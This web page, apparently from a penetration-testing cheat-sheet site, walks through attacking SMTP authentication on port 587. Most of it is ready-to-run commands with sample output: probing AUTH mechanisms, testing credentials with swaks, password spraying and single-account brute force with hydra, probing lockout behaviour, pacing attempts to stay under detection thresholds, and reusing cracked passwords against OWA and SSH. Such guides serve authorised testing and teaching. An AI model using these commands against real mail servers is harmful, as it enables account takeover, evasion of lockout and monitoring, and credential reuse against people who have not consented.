Skip to content
HackIndex logo

HackIndex

SMTP Credential Attacks

2 min read Mar 29, 2026

SMTP credential attacks target AUTH PLAIN and AUTH LOGIN on port 587 when a valid user list is available from user enumeration. Password spraying — one password across many accounts — is the primary approach to avoid account lockout. Brute force against a single account is only appropriate when lockout is confirmed absent. On Exchange environments, OWA is often a better target than SMTP directly because it has richer error output and session management.

Confirm AUTH Mechanisms

Check which AUTH mechanisms are supported before attacking. AUTH PLAIN and LOGIN carry credentials in base64 and are only safe over TLS:

┌──(kali㉿kali)-[~]
└─$ echo -e 'EHLO test\nQUIT' | nc -nv $TARGET_IP 587 | grep -i auth 
250-AUTH PLAIN LOGIN
┌──(kali㉿kali)-[~]
└─$ openssl s_client -starttls smtp -connect $TARGET_IP:587 2>/dev/null | grep -i auth 
250-AUTH PLAIN LOGIN NTLM

Test Default and Common Credentials Manually

Before running bulk attacks, manually test a few common credentials with swaks. This confirms the auth mechanism works and avoids unnecessary lockouts:

┌──(kali㉿kali)-[~]
└─$ swaks --to admin@$DOMAIN --from admin@$DOMAIN --server $TARGET_IP --port 587 --tls --auth LOGIN --auth-user admin@$DOMAIN --auth-password 'Password123' 
<-  235 2.7.0 Authentication successful
┌──(kali㉿kali)-[~]
└─$ swaks --to admin@$DOMAIN --from admin@$DOMAIN --server $TARGET_IP --port 587 --tls --auth LOGIN --auth-user admin@$DOMAIN --auth-password 'wrongpassword' 
<-  535 5.7.8 Error: authentication failed

Note the exact success and failure responses. These are the strings hydra and other tools need to distinguish valid credentials from failed attempts.

Password Spraying with hydra

Spray one password across all enumerated accounts. Use a delay between attempts to avoid lockout triggers. Start with the most likely passwords — company name + year, season + year, Welcome1, Password1:

┌──(kali㉿kali)-[~]
└─$ hydra -L /tmp/smtp_users.txt -p 'Password123' -s 587 $TARGET_IP smtp -S -t 5 -W 3 
[587][smtp] host: 10.10.10.50   login: [email protected]   password: Password123
┌──(kali㉿kali)-[~]
└─$ for password in 'Password123' 'Welcome1' 'Company2024!' 'Spring2026'; do
echo "[*] Spraying: $password"
hydra -L /tmp/smtp_users.txt -p "$password" -s 587 $TARGET_IP smtp -S -t 3 -W 5 2>/dev/null | grep 'host:'
done

Brute Force Single Account

Only brute force a single account when lockout is confirmed absent through testing. Use a targeted wordlist before trying rockyou:

┌──(kali㉿kali)-[~]
└─$ hydra -l admin@$DOMAIN -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -s 587 $TARGET_IP smtp -S -t 10

Check Lockout Behavior First

Send several deliberate failures and watch for rate limiting or lockout responses before running bulk attacks:

┌──(kali㉿kali)-[~]
└─$ for i in $(seq 1 6); do echo -n "Attempt $i: "; swaks --to admin@$DOMAIN --from [email protected] --server $TARGET_IP --port 587 --tls --auth LOGIN --auth-user admin@$DOMAIN --auth-password 'wrongpass' 2>&1 | grep -oE '(535|421|454|locked|blocked|banned)' | head -1; sleep 1; done 
Attempt 1: 535
Attempt 2: 535
Attempt 3: 535
Attempt 4: 535
Attempt 5: 535
Attempt 6: 421

A 421 after repeated failures means rate limiting or temporary lockout is active. Reduce hydra thread count (-t 1) and increase wait time (-W 30), or switch to low-and-slow spraying with one attempt per account per hour to stay under detection thresholds.

Validate Credentials on Other Services

Successfully cracked SMTP credentials should be tested for reuse across all other services on the target:

┌──(kali㉿kali)-[~]
└─$ # Test on OWA if Exchange is present
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST https://$DOMAIN/owa/auth.owa -d "username=john.smith@$DOMAIN&password=Password123&flags=4&forcedownlevel=0" -D - | grep -iE 'location|set-cookie|302'
┌──(kali㉿kali)-[~]
└─$ # Test on SSH
┌──(kali㉿kali)-[~]
└─$ sshpass -p 'Password123' ssh john.smith@$TARGET_IP 'id' 2>/dev/null

References